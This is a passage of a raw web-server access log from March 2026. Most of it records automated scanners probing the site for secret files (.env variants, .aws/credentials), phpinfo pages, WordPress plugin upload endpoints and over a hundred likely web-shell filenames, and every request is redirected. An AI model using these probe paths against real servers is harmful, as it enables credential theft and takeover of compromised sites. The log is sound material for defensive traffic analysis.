OS 17_4 like Mac OS X) AppleWebKit/605.1.15 Mobile/15E148" 34.142.251.255 - - [09/Mar/2026:23:16:03 +0300] "GET /index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 34.142.251.255 - - [09/Mar/2026:23:16:18 +0300] "GET /phpinfo HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 43.130.12.43 - - [09/Mar/2026:23:21:31 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 34.142.251.255 - - [09/Mar/2026:23:15:46 +0300] "GET /phpinfo.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 34.142.251.255 - - [09/Mar/2026:23:15:59 +0300] "GET /_profiler/phpinfo HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 34.142.251.255 - - [09/Mar/2026:23:16:33 +0300] "GET /api/.env HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 34.142.251.255 - - [09/Mar/2026:23:16:30 +0300] "GET /.env.bak HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 34.142.251.255 - - [09/Mar/2026:23:16:11 +0300] "GET /.aws/credentials HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 34.142.251.255 - - [09/Mar/2026:23:16:22 +0300] "GET /.env HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 34.142.251.255 - - [09/Mar/2026:23:16:26 +0300] "GET /config/.env HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 34.142.251.255 - - [09/Mar/2026:23:15:42 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 34.142.251.255 - - [09/Mar/2026:23:16:08 +0300] "GET /info.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 34.142.251.255 - - [09/Mar/2026:23:16:14 +0300] "GET /.env.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 34.142.251.255 - - [09/Mar/2026:23:15:44 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 34.142.251.255 - - [09/Mar/2026:23:15:55 +0300] "GET /test.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 205.209.106.132 - - [09/Mar/2026:23:58:33 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36" 170.106.147.63 - - [10/Mar/2026:00:12:28 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 217.160.202.182 - - [10/Mar/2026:00:32:38 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.114 Safari/537.36 Edg/91.0.864.54" 167.172.134.125 - - [10/Mar/2026:00:56:20 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36" 83.99.206.96 - - [10/Mar/2026:01:09:20 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko; GeedoShopProductFinder) Chrome/142.0.0.0 Safari/537.36" 185.181.246.203 - - [10/Mar/2026:01:05:09 +0300] "GET /hello-world/ HTTP/1.0" 301 795 "http://eliteewallet.com/hello-world/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/129.0.0.0 Safari/537.36" 167.172.134.125 - - [10/Mar/2026:00:56:20 +0300] "GET /favicon.ico HTTP/1.1" 301 795 "http://eliteewallet.com/" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36" 51.68.111.204 - - [10/Mar/2026:01:55:15 +0300] "GET /robots.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MJ12bot/v2.0.5; http://mj12bot.com/)" 51.68.111.204 - - [10/Mar/2026:01:55:15 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MJ12bot/v2.0.5; http://mj12bot.com/)" 49.235.136.28 - - [10/Mar/2026:03:59:05 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 141.98.11.209 - - [10/Mar/2026:03:40:08 +0300] "GET /wp-admin/admin-ajax.php?action=startklar_drop_zone_upload_process HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 98.91.221.77 - - [10/Mar/2026:05:53:25 +0300] "GET /robots.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" 43.166.136.202 - - [10/Mar/2026:05:49:00 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 104.234.157.152 - - [10/Mar/2026:05:39:00 +0300] "GET /wp-json/wp/v2/posts HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 62.60.130.210 - - [10/Mar/2026:05:37:36 +0300] "GET /wp-login.php HTTP/1.1" 301 795 "https://duckduckgo.com/" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/118.0.5993.88 Safari/537.36" 43.153.104.196 - - [10/Mar/2026:04:55:36 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 4.204.200.32 - - [10/Mar/2026:06:50:37 +0300] "GET /wp-content/plugins/hellopress/wp_filemanager.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [10/Mar/2026:06:50:48 +0300] "GET /ffile.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [10/Mar/2026:06:51:17 +0300] "GET /nw.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [10/Mar/2026:06:51:21 +0300] "GET /grsiuk.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [10/Mar/2026:06:51:23 +0300] "GET /fs.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [10/Mar/2026:06:51:25 +0300] "GET /dom.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [10/Mar/2026:06:51:28 +0300] "GET /t.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [10/Mar/2026:06:51:32 +0300] "GET /mjq.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [10/Mar/2026:06:51:34 +0300] "GET /ava.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [10/Mar/2026:06:51:38 +0300] "GET /6erg.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [10/Mar/2026:06:51:41 +0300] "GET /X57.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [10/Mar/2026:06:51:43 +0300] "GET /async.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [10/Mar/2026:06:51:47 +0300] "GET /jga.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [10/Mar/2026:06:51:50 +0300] "GET /ff1.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [10/Mar/2026:06:51:53 +0300] "GET /gmo.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [10/Mar/2026:06:51:58 +0300] "GET /wp-xrm.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [10/Mar/2026:06:52:00 +0300] "GET /lol.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [10/Mar/2026:06:52:45 +0300] "GET /mini.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [10/Mar/2026:06:52:49 +0300] "GET /jmfi2.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [10/Mar/2026:06:52:53 +0300] "GET /png.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [10/Mar/2026:06:52:56 +0300] "GET /wp-blog.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [10/Mar/2026:06:53:04 +0300] "GET /0.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [10/Mar/2026:06:53:06 +0300] "GET /ws29.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [10/Mar/2026:06:53:10 +0300] "GET /class.1.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [10/Mar/2026:06:53:14 +0300] "GET /x.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [10/Mar/2026:06:53:18 +0300] "GET /hb02ugyh.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [10/Mar/2026:06:53:22 +0300] "GET /06.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [10/Mar/2026:06:53:27 +0300] "GET /bless14.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [10/Mar/2026:06:53:30 +0300] "GET /f35.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [10/Mar/2026:06:53:49 +0300] "GET /malo.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [10/Mar/2026:06:53:52 +0300] "GET /v2.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [10/Mar/2026:06:53:57 +0300] "GET /new4.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [10/Mar/2026:06:54:52 +0300] "GET /goh.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [10/Mar/2026:06:54:55 +0300] "GET /awi.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [10/Mar/2026:06:56:13 +0300] "GET /xda.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [10/Mar/2026:06:56:16 +0300] "GET /un.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [10/Mar/2026:06:56:20 +0300] "GET /wp-admin/css/bolt.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [10/Mar/2026:06:56:23 +0300] "GET /loli.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [10/Mar/2026:06:56:27 +0300] "GET /aa17.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [10/Mar/2026:06:57:00 +0300] "GET /god.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [10/Mar/2026:06:57:16 +0300] "GET /wp-the.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [10/Mar/2026:06:58:13 +0300] "GET /algox.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [10/Mar/2026:06:58:17 +0300] "GET /10266.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [10/Mar/2026:06:58:20 +0300] "GET /file5.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [10/Mar/2026:06:58:22 +0300] "GET /wp-act.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [10/Mar/2026:06:58:25 +0300] "GET /w3llstore.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [10/Mar/2026:06:55:49 +0300] "GET /as.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [10/Mar/2026:06:55:53 +0300] "GET /app.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [10/Mar/2026:06:55:55 +0300] "GET /an8.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [10/Mar/2026:06:55:58 +0300] "GET /1a.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [10/Mar/2026:06:56:02 +0300] "GET /aaaa.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [10/Mar/2026:06:56:05 +0300] "GET /byp.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [10/Mar/2026:06:56:08 +0300] "GET /motu.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [10/Mar/2026:06:57:05 +0300] "GET /public/vx.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [10/Mar/2026:06:52:15 +0300] "GET /myfile.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [10/Mar/2026:06:52:18 +0300] "GET /yasnu.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [10/Mar/2026:06:52:21 +0300] "GET /abt.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [10/Mar/2026:06:52:25 +0300] "GET /wp-access.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [10/Mar/2026:06:52:27 +0300] "GET /mbg.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [10/Mar/2026:06:52:29 +0300] "GET /num.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [10/Mar/2026:06:53:37 +0300] "GET /chn.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [10/Mar/2026:06:53:39 +0300] "GET /f8.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [10/Mar/2026:06:53:42 +0300] "GET /rsnu.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [10/Mar/2026:06:53:44 +0300] "GET /.lajuju.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [10/Mar/2026:06:54:15 +0300] "GET /nbm.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [10/Mar/2026:06:54:18 +0300] "GET /7wom.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [10/Mar/2026:06:54:21 +0300] "GET /admi.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [10/Mar/2026:06:54:25 +0300] "GET /s.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [10/Mar/2026:06:54:27 +0300] "GET /forbidals.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [10/Mar/2026:06:54:30 +0300] "GET /xrp.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [10/Mar/2026:06:55:01 +0300] "GET /cu.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [10/Mar/2026:06:54:43 +0300] "GET /card.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [10/Mar/2026:06:55:07 +0300] "GET /ms-edit.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [10/Mar/2026:06:55:23 +0300] "GET /oo.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [10/Mar/2026:06:55:26 +0300] "GET /erty.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [10/Mar/2026:06:55:29 +0300] "GET /sbhu.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [10/Mar/2026:06:55:44 +0300] "GET /alf4.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [10/Mar/2026:06:56:40 +0300] "GET /vgtyu.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [10/Mar/2026:06:56:43 +0300] "GET /trd.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [10/Mar/2026:06:56:46 +0300] "GET /mcs.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [10/Mar/2026:06:56:49 +0300] "GET /ze.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [10/Mar/2026:06:56:53 +0300] "GET /ws28.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [10/Mar/2026:06:58:05 +0300] "GET /ms.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [10/Mar/2026:06:58:08 +0300] "GET /xqq.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [10/Mar/2026:06:50:54 +0300] "GET /shell20250630.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [10/Mar/2026:06:50:56 +0300] "GET /upgrade.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [10/Mar/2026:06:50:58 +0300] "GET /public/rip.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [10/Mar/2026:06:51:00 +0300] "GET /karak.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [10/Mar/2026:06:51:04 +0300] "GET /666.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [10/Mar/2026:06:51:08 +0300] "GET /ff.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [10/Mar/2026:06:51:10 +0300] "GET /kj.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [10/Mar/2026:06:54:02 +0300] "GET /shell.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [10/Mar/2026:06:54:10 +0300] "GET /css.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [10/Mar/2026:06:55:14 +0300] "GET /amax.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [10/Mar/2026:06:57:21 +0300] "GET /667.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [10/Mar/2026:06:57:25 +0300] "GET /wp-gr.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [10/Mar/2026:06:57:28 +0300] "GET /note.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [10/Mar/2026:06:57:30 +0300] "GET /ma.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [10/Mar/2026:06:58:46 +0300] "GET /pola.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [10/Mar/2026:06:58:49 +0300] "GET /public/wp-blog.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [10/Mar/2026:06:58:51 +0300] "GET /xxxx.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [10/Mar/2026:06:58:55 +0300] "GET /file30.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [10/Mar/2026:06:58:59 +0300] "GET /elf.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [10/Mar/2026:06:59:04 +0300] "GET /xml.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [10/Mar/2026:06:59:06 +0300] "GET /plugins.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [10/Mar/2026:06:59:12 +0300] "GET /wen.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [10/Mar/2026:06:59:16 +0300] "GET /ws60.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [10/Mar/2026:06:59:18 +0300] "GET /222.php HTTP/1.1" 301 795 "-" "-" 185.242.3.19 - - [10/Mar/2026:07:56:08 +0300] "GET //wp-content/plugins/fix/up.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.102 Safari/537.36" 4.204.200.32 - - [10/Mar/2026:06:58:29 +0300] "GET /fr/ms.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [10/Mar/2026:06:58:33 +0300] "GET /pouhg.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [10/Mar/2026:06:58:36 +0300] "GET /opts.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [10/Mar/2026:06:58:38 +0300] "GET /wp-good.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [10/Mar/2026:06:58:41 +0300] "GET /zwso.php HTTP/1.1" 301 795 "-" "-" 66.249.66.169 - - [10/Mar/2026:06:32:12 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux; Android 6.0.1; Nexus 5X Build/MMB29P) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.7632.116 Mobile Safari/537.36 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" 66.249.66.15 - - [10/Mar/2026:06:33:09 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" 4.204.200.32 - - [10/Mar/2026:06:55:35 +0300] "GET /ertg.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [10/Mar/2026:06:55:36 +0300] "GET /xpass.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [10/Mar/2026:06:55:39 +0300] "GET /a1vx.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [10/Mar/2026:06:56:32 +0300] "GET /as4AaPasd.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [10/Mar/2026:06:56:35 +0300] "GET /miansha.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [10/Mar/2026:06:57:35 +0300] "GET /byp8.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [10/Mar/2026:06:57:38 +0300] "GET /maa.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [10/Mar/2026:06:57:41 +0300] "GET /r4f_1.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [10/Mar/2026:06:57:44 +0300] "GET /xa.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [10/Mar/2026:06:57:46 +0300] "GET /resp.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [10/Mar/2026:06:57:48 +0300] "GET /X7x.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [10/Mar/2026:06:57:51 +0300] "GET /sxb.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [10/Mar/2026:06:57:54 +0300] "GET /class-t.api.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [10/Mar/2026:06:57:57 +0300] "GET /wp5.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [10/Mar/2026:06:58:00 +0300] "GET /dox.php HTTP/1.1" 301 795 "-" "-" 66.249.66.195 - - [10/Mar/2026:06:32:11 +0300] "GET /robots.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" 66.249.66.169 - - [10/Mar/2026:06:33:09 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux; Android 6.0.1; Nexus 5X Build/MMB29P) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.84 Mobile Safari/537.36 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" 4.204.200.32 - - [10/Mar/2026:06:52:09 +0300] "GET /hg.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [10/Mar/2026:06:52:34 +0300] "GET /file59.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [10/Mar/2026:06:52:39 +0300] "GET /gg.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [10/Mar/2026:06:54:35 +0300] "GET /mws.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [10/Mar/2026:06:59:23 +0300] "GET /gec.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [10/Mar/2026:06:59:27 +0300] "GET /nox.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [10/Mar/2026:06:59:30 +0300] "GET /tcp.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [10/Mar/2026:06:59:33 +0300] "GET /Sanskrit.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [10/Mar/2026:06:59:36 +0300] "GET /mtrje.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [10/Mar/2026:06:59:39 +0300] "GET /bolt.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [10/Mar/2026:06:59:42 +0300] "GET /66.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [10/Mar/2026:06:59:46 +0300] "GET /moon3.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [10/Mar/2026:06:59:48 +0300] "GET /yanki.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [10/Mar/2026:06:59:51 +0300] "GET /mo.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [10/Mar/2026:06:59:53 +0300] "GET /vx.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [10/Mar/2026:06:59:57 +0300] "GET /mnkalo.php HTTP/1.1" 301 795 "-" "-" 185.242.3.19 - - [10/Mar/2026:08:53:02 +0300] "GET //wp-content/plugins/fix/up.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.102 Safari/537.36" 85.137.48.167 - - [10/Mar/2026:08:16:47 +0300] "GET /txets.php HTTP/1.1" 301 795 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)" 154.47.31.3 - - [10/Mar/2026:09:30:20 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 176.61.151.122 - - [10/Mar/2026:09:11:22 +0300] "GET /wp-json/wp/v2/posts HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 81.70.169.194 - - [10/Mar/2026:09:25:47 +0300] "GET /wp-json/wp/v2/posts HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 20.220.232.101 - - [10/Mar/2026:09:56:47 +0300] "GET /atx.php HTTP/1.1" 301 795 "-" "-" 20.220.232.101 - - [10/Mar/2026:09:57:39 +0300] "GET /install.php HTTP/1.1" 301 795 "-" "-" 20.220.232.101 - - [10/Mar/2026:09:57:41 +0300] "GET /lv.php HTTP/1.1" 301 795 "-" "-" 20.220.232.101 - - [10/Mar/2026:09:58:32 +0300] "GET /wp-content/index.php HTTP/1.1" 301 795 "-" "-" 20.220.232.101 - - [10/Mar/2026:09:58:33 +0300] "GET /admin.php HTTP/1.1" 301 795 "-" "-" 20.220.232.101 - - [10/Mar/2026:09:58:33 +0300] "GET /wp-admin/maint/maint.php HTTP/1.1" 301 795 "-" "-" 20.220.232.101 - - [10/Mar/2026:09:58:36 +0300] "GET /classwithtostring.php HTTP/1.1" 301 795 "-" "-" 20.220.232.101 - - [10/Mar/2026:09:59:22 +0300] "GET /wp-admin/wp-conflg.php?p= HTTP/1.1" 301 795 "-" "-" 20.220.232.101 - - [10/Mar/2026:09:59:55 +0300] "GET /wp-content/plugins/index.php HTTP/1.1" 301 795 "-" "-" 20.220.232.101 - - [10/Mar/2026:09:59:55 +0300] "GET /sx.php HTTP/1.1" 301 795 "-" "-" 20.220.232.101 - - [10/Mar/2026:09:59:59 +0300] "GET /wp-admin/maint/admin.php HTTP/1.1" 301 795 "-" "-" 20.220.232.101 - - [10/Mar/2026:10:01:27 +0300] "GET /uploads/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 20.220.232.101 - - [10/Mar/2026:10:01:29 +0300] "GET /wp-includes/style-engine/about.php HTTP/1.1" 301 795 "-" "-" 20.220.232.101 - - [10/Mar/2026:10:04:03 +0300] "GET /gifclass4.php HTTP/1.1" 301 